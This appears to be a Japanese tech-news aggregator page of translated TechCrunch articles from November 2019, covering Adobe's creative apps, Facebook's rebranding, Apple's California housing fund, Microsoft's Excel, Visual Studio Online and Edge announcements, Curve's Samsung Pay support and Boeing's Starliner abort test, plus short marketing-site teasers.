関連記事: Scout RFP raises $15.5 million to help companies manage purchases(企業の購買管理を助けるScout FRPが1550万ドルを調達、未訳)

[原文へ]

(翻訳:iwatani、a.k.a. hiwa

Source: TechCrunch

Adobe(アドビ)が、拡張現実(AR)に真剣に取り組んでいることは、よく知られている。ARデベロッパーのための優れたデザインツール開発するための、十分なポテンシャルを備えていることも間違いない。昨年のMaxイベントで、同社はAero ARというオーサリングアプリを初めて披露した。そして米国時間の11月4日、そのアプリをリリースした。iOS版は無料アプリデスクトップ版は今のところプライベートベータとなっている。

Aeroの基本的な方針は、デザイナーがプログラムを書くことなくAR体験を開発できるようにすること。ビジュアルなUIによって、ARシーンを構築する手順を1ステップずつ指示してくれる。また、ユーザーのCreative Cloudライブラリから、2Dや3Dのアセットを取り込むことができる。完成したシーンをエクスポートするのも数ステップで済んでしまう。

「ARは、マーケティングやブランディング、小売や商取引全般、旅行やレジャー、学習や芸術など、あらゆる業界に広がっています。しかしながら、現状では、高品質のARコンテンツの作成は、多大な費用、長大な時間がかかる複雑な作業となっています。私たちのビジョンは、このプロセスを変革し、すべてのデザイナーが、3DとARの可能性を探求できるようにすることです」。

iOS版のアプリを使えば、基本的なAR体験を作成できるが、ARデザインツールとしてのフル機能を利用するには、デスクトップ版のアプリが必要となる。アドビによれば、デスクトップ版を使うことで、対話的なインターフェースを使って、カスタムな体験を設計できるという。

私が見たデモでは、もちろんAeroはかなり使いやすそうだった。たとえば、レイヤーを含むPhotoshopファイルを背景として取り込み、必要に応じてレイヤーの間隔を空けるように配置して、3Dっぽいシーンにすることも簡単にできる。オブジェクトの操作は、メニューなどを使わずに、タッチ操作だけで可能だ。基本的なアニメーションを追加したり、動きのトリガーを設定することもできる。

原文へ

(翻訳:Fumihiko Shibata)

Source: TechCrunch

スクリーンショット 2019-11-05 13.36.55.pngFacebook社の新企業ロゴ
Facebook社が企業ロゴを刷新した。変更するのはFacebook社のロゴで、SNSのFacebookは旧来のロゴを使用する。サービスとしてのFacebookと企業ロゴを視覚的に区別できるようにするのが狙いだ。

Facebook_Wordmark_Cycling.gifFacebook社の新企業ロゴのカラーバリエーション
新ロゴはサービスによってカラーをチェンジ。例えばInstagramであれば、ロゴの色に合わせて赤を基調とし、WhatsAppなら緑を基調としたロゴが使われる。

IG Product Screen.jpegInstagramの新旧デザイン
WhatsApp Product Screen.jpegWhatsAppの新旧デザイン

この変更により、各サービスにおいてFacebook社のブランディング戦略が強固なものになる。Facebookが所有しているサービスをより明確に示すことができるだろう。

参照:Introducing Our New Company Brand

続きはこちらからご覧ください。

Source: ferret web marketing

さまざまな動画メディアが台頭し、今や動画の視聴はライフサイクルの一部となっています。ですが、実際に動画を視聴するユーザーはどうのような視聴をしているのでしょうか。

インタラクティブ動画制作サービス『SOVE(ソーブ)』を提供する株式会社スプレッドオーバーが、10代~50代の男女を対象に、「動画」に関する意識調査を実施。その結果をご覧ください。

続きはこちらからご覧ください。

Source: ferret web marketing

Gossamar_facebook5-eye

Facebookが待望のニュース製品を発表した。多くのパブリッシャーは「慎重ながらも楽観的」な見方をしている。だが、重要なのはパブリッシャーとプラットフォームの関係の新時代が幕を開けるのか、それともよくある宣伝だけが過剰な製品で終わり、パブリッシャーが持続可能なモデルを見つける助けにはほとんどならないのかだ。

The post Facebook のニュース対価支払は、「新常態」になるか? :パブリッシャー対応をめぐる是非 appeared first on DIGIDAY[日本版].

Source: DIGI DAY WEB marketing

Facebookは人々に、グループ会社のInstagram、WhatsApp、Oculusなどをもっと知ってもらいたいと同時に、Facebookのメインアプリのアイデンティティーも独自に確立したいと思っている。そこで米国時間11月4日、Facebookはアプリとは別に会社としての新しいロゴを発表した。社名はすべて大文字になり、シフトするカラースキームはInstagramのパープルグラデーションとWhatsAppのグリーンの色合いを表している。

「近いうちに、当社のグループ製品や宣伝資料に新しいブランドを使い始める。公式ウェブサイトも同様」とFacebookのCMOであるAntonio Lucio(アントニオ・ルシオ)氏は書いた。例えば、Instagramのログイン画面の下端には「from FACEBOOK」のブランディングが表示される。これまでFacebookは、ブルーとホワイトあるいは白抜きで小文字の「f」をロゴに使用していた。

会社全体を包括する別のネーミングも考えたとルシオ氏は言った。「あらゆる選択肢を考えたが、社名を維持することが重要だという結論に達した。これまでずっと、そしてこれからも我々はFacebookであり続ける。我々が体現するもの、我々が下す決断、人々に対する我々の責任、そしてブランド間の関係を維持していくためには、名前を変えないことが重要だった」。実際、象徴である名前を変えていたら、会社が問題のある過去を消しさろうとしていると思われたかもしれない。

Facebookは去る6月からリブランディングのプロセスを始めていて、グループ会社のアプリに「from Facebook」のキャッチフレーズを付加した。The Informationによると、Facebook CEOのMark Zuckerberg(マーク・ザッカーバーグ)氏は、FacebookがInsagramやWhatsAppを所有していることの功績に対する世間の評価に満足していないようだ。

ザッカーバーグ氏は今月の決算会見でも、同社への反トラスト捜査によって傘下企業が分割させられるのではないかとの質問に対してその感情を顕にした。5000万ユーザー以下だったInstagramを現在の10億ユーザーの会社に変えたのは、スパム対策、国際化、広告などにFacebookのリソースを使ったからだと同氏は強調した。

Facebookは機先を制して反トラスト捜査に対する防御に出ていると見る向きもある。リブランディングだけでなく、同社はFacebook Messenger、WhatsApp、Instagram Directを相互乗り入れ可能な統合暗号化メッセージングシステムにして、ユーザーがアプリ間でチャットできるようにしようとしている。集中化された基盤上にシステムを構築すればFacebookの分割はより困難になる。

一連のリブランディング行動は、尊大であり下手なやり方だという見方もある。「Facebookのグループ会社にInstagramやWhatsAppがいることをほとんどの人が知らない」という事実に助けられている可能性もあるからだ。Pewの最近の調査によると、両社がFacebookの子会社であることを知っていた米国人はわずか29%だった。

Facebookがデータ漏洩や選挙介入などのスキャンダルにまみれていることを考えると、Instagramを使うことで汚染されずにすむと人々が思ってくれたほうが恐らく得策だ。

Facebookは、中央集権的な会社を作るためなら、グループ会社の若きアプリたちの信用を損なってもいいと思っているようだ。FacebookがAdam Mosseri(アダム・モセリ)氏とWill Cathcart(ウィル・キャスカート)氏という忠実な副官たちをInstagramとWhatsAppにそれぞれ差し向けて以来、買収された企業の自主性は薄まっている。

Facebookにとって、政府の規制より大きな問題はなにか?もし現在あるいは将来の有能な人材が、Facebookは子会社の可能性を抑制していると考えるようになれば、トップクラスの人たちはこのソーシャルネットワークファミリーの一族になりたいとも居続けたいとも思わなくなる。

[原文へ]

(翻訳:Nob Takahashi / facebook

Source: TechCrunch

Adobe(アドビ)がiPad向けPhotoshopをリリースした。人気のプロフェッショナル用写真編集ソフトウェアをApple(アップル)のタブレットに持ってくることを、アドビは昨年10月に発表していた。その際、アプリを2019年に立ち上げると明言していて、今日のリリースはスケジュールどおりのものだ。iPad向けのPhotoshopは無料でダウンロードでき、30日の無料トライアルが用意されている。トライアル以降はアプリを利用するのにアプリ内購入で月9.99ドル(1080円)かかる。あるいはAdobe Creative Cloudのサブスクリプションの一部として利用できる。

アドビが当初から言っているように、iPad向けPhotoshopの初期バージョンはデスクトップの編集ソフトウェアと同じ機能が搭載されているわけではない。しかし「iPad Proと最近のiPadモデル用のApple Pencilをサポートし、PSDファイルの編集もできる。初期バージョンではタッチとApple Pencilによる入力が利用できる機能にフォーカスした」とアドビは説明している。その機能には「合成やレタッチのツール」がある。また、ブラシやマスクキング、スマートセレクションなども今後加わる。

便利なのは(私はそれほどこのソフトウェアを使ってはいないが)、スポット修復やコピースタンプなどの機能だ。コピースタンプはその場で編集に磨きをかけるのにかなり便利だ。まだデスクトップと同様のことはできなくても、iPadでのLightroom取り込みはおそらく持ち運びやすさを最大限生かしたいプロ向けだ。また、Creative Cloudに保存するPSDはどこからでも編集できる。

現状がどうであれ、AdobeがiPad向けPhotoshopの開発とリリースのスケジュールを守ったのは素晴らしい。iPadはデスクトップやノートブックコンピューターにアクセスできないときのためのバックアップ選択肢、という状態を解消するにはまだなすべきことがあるにしてもだ。

Adobeは今週Adobe MAX 2019カンファレンスを開催していて、今後もたくさんのニュースが発表されるはずだ。TechCrunchでのイベント続報に乞うご期待。

[原文へ]

(翻訳:Mizoguchi)

Source: TechCrunch

9月にAdobe(アドビ)は、iPad用の次世代ドローイングペインティングアプリのAdobe Frescoをリリースした。

そして米国時間11月4日、FrescoのWindows版が公開された。まずはMicrosoft(マイクロソフト)のSurfaceシリーズ(Surface Pro 4、Surface Go、すべてのSurface StudioとSurface Book)、およびWacom(ワコム)のMobileStudioデバイスに対応する。iPad版と同様に、Fresco for Windowsにはアドビのベクターとラスターのツールが備わり、ペインティング、ドローイング、スケッチに使える。

アドビによれば、Fresco for Windowsはゼロから開発したという。同社はこの日の発表の中で「アプリを作るのは簡単ではなかったが、マイクロソフトおよびインテルと緊密に連携して、ブラシが適切に動作するようにし、ハードウェアとソフトウェアのパフォーマンスをできる限り引き出した」と説明している。iPad版と同様にWindows版もアドビのクラウドストレージと深く統合されるため、デバイス間でシームレスに作品を移動でき、PhotoshopやIllustratorにも持っていける。

ただしFresco for Windowsは今のところ、iPad版より機能が少ない。アドビは「Frescoの機能は重要でプラットフォームを問わず使えるようにするため、早急に未搭載の機能を実装できるよう取り組んでいる」としている。

Windows向けの無料版もある。機能は制限されるものの、このアプリで何ができるかを試すには適しているだろう。

[原文へ]

(翻訳:Kaori Koyama)

Source: TechCrunch

Adobe(アドビ)はデスクトップクラスのグラフィックアプリをもう1つ、iPad向けに提供する。米国時間11月4日、Adobe Max 2019でiPad版のIllustratorを2020年にリリースすると発表した。昨年、同社はPhotoshop for iPadについて今回と同様の計画を発表し、同アプリは米国時間11月4日にApp Storeで公開された。

アドビによればIllustrator for iPadはまだ開発の初期段階とのことで、デスクトップ版と比べてどのようになるかはまだわからない。しかし、iPadならではのタッチ操作とApple Pencilベースの入力に重点が置かれるようだ。Photoshopと同様に、あるプラットフォームで作られた作品はCreative Cloudを介してほかのプラットフォームでも忠実に編集できるようになるだろう。

Illustrator for iPadはまもなく限定版のプライベートベータが公開される予定だが、開発が進むまではベータ版を利用できるのはごく限られた人々になる模様だ。ただし関心があれば登録をすることはでき、おそらく正式リリース前に試せるとみられる。

アドビはすでに「多数のデザイナー」と接触し、仕事で使うタブレット版のIllustratorはどのようなものが最適かを研究してきたという。Photoshop for iPadが公開された過程と照らし合わせて考えると、来年のIllustrator for iPadの登場時にはすべての機能は搭載されないかもしれないが、アドビの作業環境を愛用するプロのクリエイターがiPadでまさに何でもできるようになるための出発点となるだろう。

[原文へ]

(翻訳:Kaori Koyama)

Source: TechCrunch

InstagramやSnapchatの普及で人々の写真との関わり方が大きく変化した。しばらく前まで写真を編集するには高価なソフト、ハードが必要でユーザーは写真家、デザイナーなどのプロやセミプロが主だった。ところが今では誰でもスマートフォンで写真を加工している。とはいえ、スマートフォンアプリに付属しているフィルターの機能は初歩的で、PhotoshopやLightroomを代替するものではない。あくまでスマートフォンでセルフィーを撮ってその場でちょっと明るさを補正して投稿するというような用途向けの「そこそこ」のプロダクトだった。

Adobe(アドビ)はこのことを認識しており、米国時間10月4日に米国ロサンゼルスで開幕したAdobe Maxで手を打ってきた。

それがPhotoshop Cameraだ。 これはAdobeのAI、Senseiを利用した写真編集のためのモバイルアプリでiOSとAndroidで利用できる。Photoshop Cameraを起動し、写真を撮影するかカメラロールから選択する。アプリはAIで内容を判断し多数の編集オプションを提供する。明るさや色などの基本的修正から複雑な背景から空を入れ替えるなどの高度な編集まで可能だ。

Photoshop Cameraは食べ物、人物、遠くの山並みなど被写体を認識し、最も適切と考えた「レンズ」(他のアプリでいうフィルター)を提示する。こうしたレンズも他の編集もすべて非破壊的だ。つまり元の画像を変更しないのでどんな状態からでもオリジナルにロールバックすることができる。

こうしたAI活用が可能になったのはAdobeが長年蓄積した何億枚にもおよぶ膨大な写真データによるものだという。おそらくいちばん重要なのはAdobeが写真をAの状態からBの状態に変えるためにどのような編集処理を行えばいいか判断できるという点だろう。

私は先週、アドビを取材し、アプリが実際に動作することを見ることができた。短いデモではこのアプリの能力をフルに紹介するのは難しかったと思うが、私は強い印象を受けた。アプリはごく普通の風景写真を処理してネイチャー雑誌のカバーフォトのように仕上げた。また料理の写真を見るなり1秒もかけずに「どの部分が料理か」を認識し、その部分だけを処理してシズル感を高めた。

アドビの担当者によれば、こうしたフィルター処理が可能になったのはBilly Eilish(ビリー・アイリッシュ)氏のようなフォトグラーやデザイナーと緊密に協力してきたからだという。このときアドビのCTOであるAbhay Parasnis(アブヘイ・パラスニス)氏は「地域、時期限定のカスタムレンズというのも面白いかもしれない」 と語った。つまりあるコンサート会場に行ったユーザーだけに提供されるレンズといったものだ。

このPhotoshop Cameraをすぐに使いたいユーザーはアドビに登録してプレビューモードへの招待を受ける必要がある。一般公開は2020年に入ってからとなるらしい。登録はこちらから

【Japan編集部追記】 日本からも上記リンクで申し込みは可能だがアプリのダウンロードができるようになるまでにはしばらく待つことになる。

原文へ

(翻訳:滑川海彦@Facebook

Source: TechCrunch

米国時間11月4日、Microsoft(マイクロソフト)はExcelを改訂し、旧態依然のスプレッドシートアプリに自然言語を導入したことを発表した。現在新機能を利用できるのはOffice Insidersのみで、人間に対するのと同じようにExcelに話しかけることができるもので、質問を書かなくても答が得られるようになるという。

「自然言語クエリはデータの分析やビジュアル化を、さまざまなレベルのExcel経験者にとって今以上にやりやすくする」とマイクロソフトは説明する。「初心者は数式を書かなくても自分のデータの価値を見抜けるようになり、パワーユーザーは適切な質問をするだけでグラフやテーブルを作れるのでデータ分析プロセスの時間を短縮してすばやく意思決定できるようになる」。

ちなみに、Googleは似たような機能をGoogleスプレッドシートですでに導入している。私の経験によると、データ発見に関してGoogleはときどきいい仕事をするが、意味のあるデータを1つも見つけられないこともしょっちゅうあるので、Excelがこれと比べてどこまでできるのか注目に値する。

本日の発表は、最近いくつか追加されているExcelの新しい機械学習機能の1つだ。ほかには株価、地理情報などについてユーザーの入力データを解釈するための追加情報を提供するものがある。

[原文へ]

(翻訳:Nob Takahashi / facebook

Source: TechCrunch

Apple(アップル)は11月4日朝、カリフォルニアの住宅供給危機の緩和に向け、25億ドル(約2700億円)という巨額資金を拠出することを発表しと。この中には、住宅を求めやすいものにするための投資基金と、初めて住宅を購入する人向けのローン補助基金への各10億ドル(約1085億円)、そしてアップルが所有する土地でのリーズナブル価格の住宅開発向けの3億ドル(約325億円)が含まれる。

残りの2億ドルは、ベイエリアでの低所得者向けの新たな住宅開発のサポートに当てられる。内訳はというと、まずHousing Trust Silicon Valleyなどと提携しているベイエリア住宅基金に1億5000万ドル(約163億円)。そして5000万ドル(約54億円)は弱者に向けられる。特にシリコンバレーエリアのホームレス問題を解決するのに役立てられる。

同社はまた、ホームレス化を予防するためにカリフォルニア北部、南部の両方で同様の取り組みを検討するとしている。

Gavin Newsom(ギャビン・ニューサム)知事、カリフォルニア州、そしてコミュニティベースで活動している機関との提携のもとで実施される今回の投資は2年かけて活用される見込みだが、それは利用できるプロジェクト次第でもある。アップルに戻ってくる資金は、向こう5年のプロジェクトに再投資される。

「カリフォルニアにおける住宅危機で家を追われる人が出ていることを受けての投資だ」とアップルは発表文で説明した。

「教師や消防士、救急隊員、サービス従業員といったコミュニティメンバーが、住み慣れたコミュニティを去るという苦渋の選択を迫られている。今年4月から6月にかけて、3万人近くがサンフランシスコを離れた。ベイエリアの住宅保有率は過去7年で最低の水準だ」と同社は話している。

住宅危機は一晩で起こったのではなく、今問題視されているテック企業の成長だけが原因というわけでもない。

他の複雑な問題と同じように、住宅危機はいくつかの要因がからんで起こっている。同地域の法律、ゾーン規則、高層ビル建築への反対、NIMBYの風潮(編集部注:Not In My Back Yard、自宅の裏庭に迷惑なものがきてほてしくないという意)、レンタルコントロールの市場への影響、住宅供給制限、その他にもたくさんある。しかしテック企業が大きな要因であり、金持ちのテックワーカーとその他の人の間に格差を起こし、住宅供給の成長を上回る急激な人口増につながった。

今日では、そのエリアの多くの住人が、職場のある町での生活費用を賄えず、より生活費が安い近隣の町から1時間かそれ以上かけて通勤している。

「世界にシリコンバレーの名が知れ渡る前、人々がポケットにテクノロジーを入れて持ち運べるようになる前、アップルはこの地域をホームと呼んでいた。シリコンバレーが人々にとって暮らしたり、家庭を持ったり、地域に貢献したりできる活気に満ちた場所のままであるようにするのは、重大な市民責任だ」とアップルのCEOであるTim Cook(ティム・クック)氏は声明文で述べた。

「入手可能な住宅というのは安定や尊厳、機会、プライドを意味する。これらが多くの人の手の届かないものになってしまうと、私たちが今後歩む道は持続不可能なものになる。故に、アップルはソリューションに寄与したい」。

住宅危機問題の解決を支援するテック大企業は同社が初めてではない。Facebookは先月、カリフォルニアなどでの住宅問題に取り組むために10億ドルを支援することを発表した。そしてGoogleも今年初め、ベイエリアの住宅危機の緩和を目的とする10億ドルの投資を明らかにした。そのほか、マイクロソフトはシアトルエリアにおける住宅基金に5億ドル(約540億円)を拠出した。

テック大企業が住宅問題の解決に踏み込むのは、自らに関わることだからだ。実際、テック大企業は高級取りのエンジニア以外の人も雇う必要があり、住宅問題はビジネスに影響する。テック企業がコミュニティにとって良き隣人でいられることを証明するためのかなりの規模の投資を歓迎する人もいる。

一方で、今後起こる問題を解決するための資金を賄うためにテック大企業にもっと税金を課すべきと言う人もいる。実際のところ、投資というかたちでの貸し出しではテック企業を一層儲けさせることになる。地元行政に及ぶかなりの影響力をこうしたテック企業に持たせることになる数百万ドル、数十億ドルのプログラムを受け入れるべきではない、という声もある。

しかしこの住宅危機はすでに対応不可能なものになっているかもしれず、もはやローカルレベルでは解決できない。

「入手しやすい住宅のための未曾有の経済協力、そしてこのイニシアティブの根底にあるイノベーティブな戦略は、アップルが住宅問題の解決を真剣にとらえていることの表れだ」とNニューソン知事は語った。「住宅所有者、住宅賃貸者の両方にとって住宅費用の高騰はカリフォルニア州の何百万という家庭にとって、生活の質に関わる懸念だ。この問題は住宅の建設でしか解決できない。アップルとの提携はカリフォルニア州の住宅建設をサポートするものとなる」。

[原文へ]

(翻訳:Mizoguchi)

Source: TechCrunch

Microsoft(マイクロソフト)は今年のデベロッパーカンファレンスことBuildで、Visual Studio IDEのウェブ版を開発中だと発表した。

当時、Visual Studio Onlineは一部のデベロッパ向けにプライベートプレビューとして公開されていた。そして今回のIgniteカンファレンスで、同社はこのサービスを試用したいすべてのデベロッパーに公開した。

Visual Studio Onlineを使えば、開発者は自分のリポジトリ用に完全に設定された開発環境を素早く立ち上げることができる。そして、ウェブベースのエディタを使用してコードを編集できる。

「Visual Studio Onlineは、Visual Studio、クラウドにホストされた開発環境、どこからでもアクセス可能なウェブベースのエディタを統合し、開発者の生産性をこれまで以上に向上させる」とマイクロソフトはプレス資料で述べている。「プル・リクエストのような共同作業のオープンソース・ワーク・フローが普及するにつれ、開発者は生産性を損なわずにコードベースとプロジェクトを素早く切り替える必要がある」。

現時点では、このサービスは同社のGitHubと深く統合されているが、同社によると、開発者は自分の物理マシンと仮想マシンをVisual Studioベースの環境に配置することもできる。開発者はWindowsやMac、Linuxにて人気が高まっているVisual Studio Codeから、オンライン環境を作ることもできる。今回はクラウドベースの環境とVisual Studio Codeの拡張サポートのプレビューだ。

[原文へ]

(翻訳:塚本直樹Twitter

Source: TechCrunch

Microsoft(マイクロソフト)は米国時間11月4日、ChromiumベースのEdgeブラウザが1月15日に一般公開され、Insiderプログラム向けのベータ版となるWindowsとmacOSのリリースがダウンロード可能になったと発表した(新しいアイコンも採用されている)。

新しいEdgeブラウザの開発は急速に進み、最新のビルドは非常に安定している。さらに同社はCollectionsのような特徴的な機能をより実験的なビルドに組み込み始めている。

今回のリリースでマイクロソフトは、新しいプライバシー機能も発表した。注目すべき機能は、おそらく新しいInPrivateというブラウジングモードで、Bingと組み合わせることで、ユーザーのオンライン検索履歴と身元のプライバシーを守る。InPrivateはその名のとおり、ウィンドウを閉じたときにローカルマシン上のブラウズセッションに関する情報を削除する。そしてBingで検索すると、その検索履歴や個人を特定できるデータも保存されず、関連付けもされなくなる。

Edgeではデフォルト設定にて、トラッキング防止も有効になる。マイクロソフトのModern Life、Search&Devices Groupのコーポレートバイスプレジデントを務めるYusuf Mehdi(ユスフ・メディ)氏は、本日の発表前のブリーフィングにて、「ウェブ上で難しいことの1つは、プライバシーとデータ保護を両立させる方法で、ユーザーはウェブをパーソナライズしたい場合もある」と述べた。「現在の問題は誰もそれを本当に成功させていないことだ。企業の中には、非常に厳格なプライバシー管理を目指して革新的な取り組みを行っているところもある。問題は、彼らがウェブを壊すことだ。一方で他の企業は『心配しないでほしい。すべての機能を顧客に提供する』と表明するが、バックグラウンドではデータが追跡されている」。もちろんメディ氏は、マイクロソフトのアプローチが優れており、よりバランスが取れていると考えている。

[原文へ]

(翻訳:塚本直樹Twitter

Source: TechCrunch

英国ロンドンを拠点とするモバイルウォレットアプリのCurveは、同国でSamsung Payのサポートを追加し、Samsung(サムスン)のスマートフォンにて誰との取引でも簡単に支払えるようになった。

この新機能は、すべての銀行のカードを1枚のCurveのカードに統合する機能によって実現される。つまり、CurveカードをSamsung Payアプリに登録すれば、他のMastercardやVisaのデビットカードやクレジットカードと連携させることが可能になる。

これはサムスンのスマートフォン所有者にとって、大きな意味を持つ可能性がある。大手銀行の多くはNFCによる支払いを自社の銀行アプリに組み込もうとする一方で、Samsung Payをサポートしていない。

Apple(アップル)がiPhoneのNFCシステムを厳しくコントロールするため、銀行に協力を強いているのとは異なり、Samsungや他社のAndroidスマートフォンの場合は、NFC技術をサードパーティーのデベロッパーが利用できる。これは、銀行にとってSamsung PayやGoogle Payなどのデジタルウォレットを含む、競合するNFCアプリをサポートするインセンティブが減っていることを意味する。

また情報筋によれば、Curveが数週間以内にGoogle Payに対応する可能性もあるという。さらに、Apple Payへの対応も進められていることが公式に明かされている。これについて、同社はコメントを控えた。

Samsung Payへの対応は、Curveが6月に発表した5500万ドル(約60億円)のシリーズBラウンドに続くもので、同社の評価額は2億5000万ドル(約270億円)に達した。その際、Curveは新たな資金をプラットフォームへの機能追加と、さらなる欧州での市場拡大に充てると述べていた。

Fintech分野にスタートアップが数多く存在するように、Curveはユーザーのスマートフォンを資産管理センターに変え、異なる金融商品や機能をバンドルして一括的にを管理するための、単一アプリを提供しようとしている。

しかし、MonzoやStarling、Revolutなどの挑戦者に位置づけられる銀行がそうであるように、Curveも新しい銀行口座を作るのではなく、他のすべてのデビットカードやクレジットカードと連携し、1枚のカードを持つだけですむカードとアプリを目指している。

そして今回はSamsung Payをサポートしたことで、NFCによる購入ではサムスンのスマートフォンを持ち歩くだけよくなった。

[原文へ]

(翻訳:塚本直樹Twitter

Source: TechCrunch

NASAの商業乗員輸送プログラムに参加するBoeing(ボーイング)社は、早ければ来年にも米国の宇宙飛行士を国際宇宙ステーション(ISS)へと輸送するために開発した新しい宇宙船「CST-100 Starliner」の重要なテストを、米国時間11月4日に実施する予定だ。

Starlinerは発射台からのアボート(緊急脱出)試験を実施予定で、打ち上げ前の万が一に備えて搭載したエンジンを使い、宇宙船をロケットから迅速に避難させるシステムを実証する。テストは米国東部標準時で午前9時(太平洋標準時で午前6時、日本時間午後11時)に開始され、テストのウィンドウ(実施予定時間)は3時間が設定されている。

予定では、ニューメキシコ州のホワイト・サンズ・ミサイル発射場の小型テスト発射台に設置されたStarlinerは、高度4500フィート(約1400m)に到達したのち、発射地点から約7000フィート(約2100m)離れた地点に着陸する。宇宙船のサービスモジュールとベース部分の熱シールドが宇宙船から分離し、カプセルはパラシュートで地上に降下し、エアバッグを展開して衝撃をさらに緩和する。下のアニメーションでは、テストの概要が確認できる。

このテストで重要なのは、完全に静止した状態から宇宙船がロケットを離れ、パラシュートを展開するのに十分な高度に到達する能力を実証することだ。NASAはBoeingとSpaceX(スペースX)に、宇宙飛行士が搭乗するミッションを開始する前に、発射台からの緊急脱出テストを成功させることを要求している。

民間乗員輸送計画のパートナーであるBoeingとSpaceXは、早ければ来年前半にも宇宙飛行士を搭乗させた宇宙船の打ち上げを予定している。NASAは2011年にスペースシャトル計画が終了して以来、宇宙飛行士の輸送をロシアのソユーズロケットに頼ってきたため、アメリカから打ち上げられるロケットで宇宙飛行士をISSに打ち上げる能力を再び得るために、両社と協力している。

[原文へ]

(翻訳:塚本直樹Twitter

Source: TechCrunch

shiseido_recipist-eye

資生堂ジャパンの服部裕子氏は、フェイスブック ジャパン社のイベントで、同社のスキンケアブランド「レシピスト(recipist)」のマーケティング戦略について語った。ミレニアル世代の女性をターゲットとするレシピストでは現在、一切テレビCMを利用しておらず、完全にインスタグラムを軸とした施策を展開しているという。

The post #たおりゅう が牽引する、 資生堂 のD2C「レシピスト」:「インスタ軸でテレビ並みの認知を得れた」 appeared first on DIGIDAY[日本版].

Source: DIGI DAY WEB marketing

BtoBマーケティングが浸透してきた今、「BtoBマーケ」について検索すれば、まとめ情報は無数に見つかります。でも、マーケティング担当者が切実に知りたいリアルな体験談や等身大のノウハウは、なかなか見つかりません。

そこで本コラムでは、読者に代わって、『ferret』運営会社である株式会社ベーシック 代表取締役の秋山が、活躍するマーケターや成長企業の経営層に突撃インタビュー。BtoBマーケ成功の秘訣を探ります。

今回のゲストは、数々のセミナーから引く手あまたの登壇者であり、BtoB専門Web制作の先駆け的存在、株式会社ベイジの代表者かつ、現役のデザイナーでもある、枌谷氏です。

baigie-basic04.JPG

続きはこちらからご覧ください。

Source: ferret web marketing

money-eye

パブリッシャーにとって、2020年に向けた最優先の課題は、やはり読者から直接得られる収益だった。米DIGIDAYがこの秋にパブリッシャー135社を対象に行った新しい調査によれば、回答者の46%近くが、サブスクリプションの拡大をこれから半年間に積極的に取り組む課題として挙げている。

The post DIGIDAYリサーチ:2020年も「読者収益」がパブリッシャーの最優先事項 appeared first on DIGIDAY[日本版].

Source: DIGI DAY WEB marketing

ツールバーへスキップ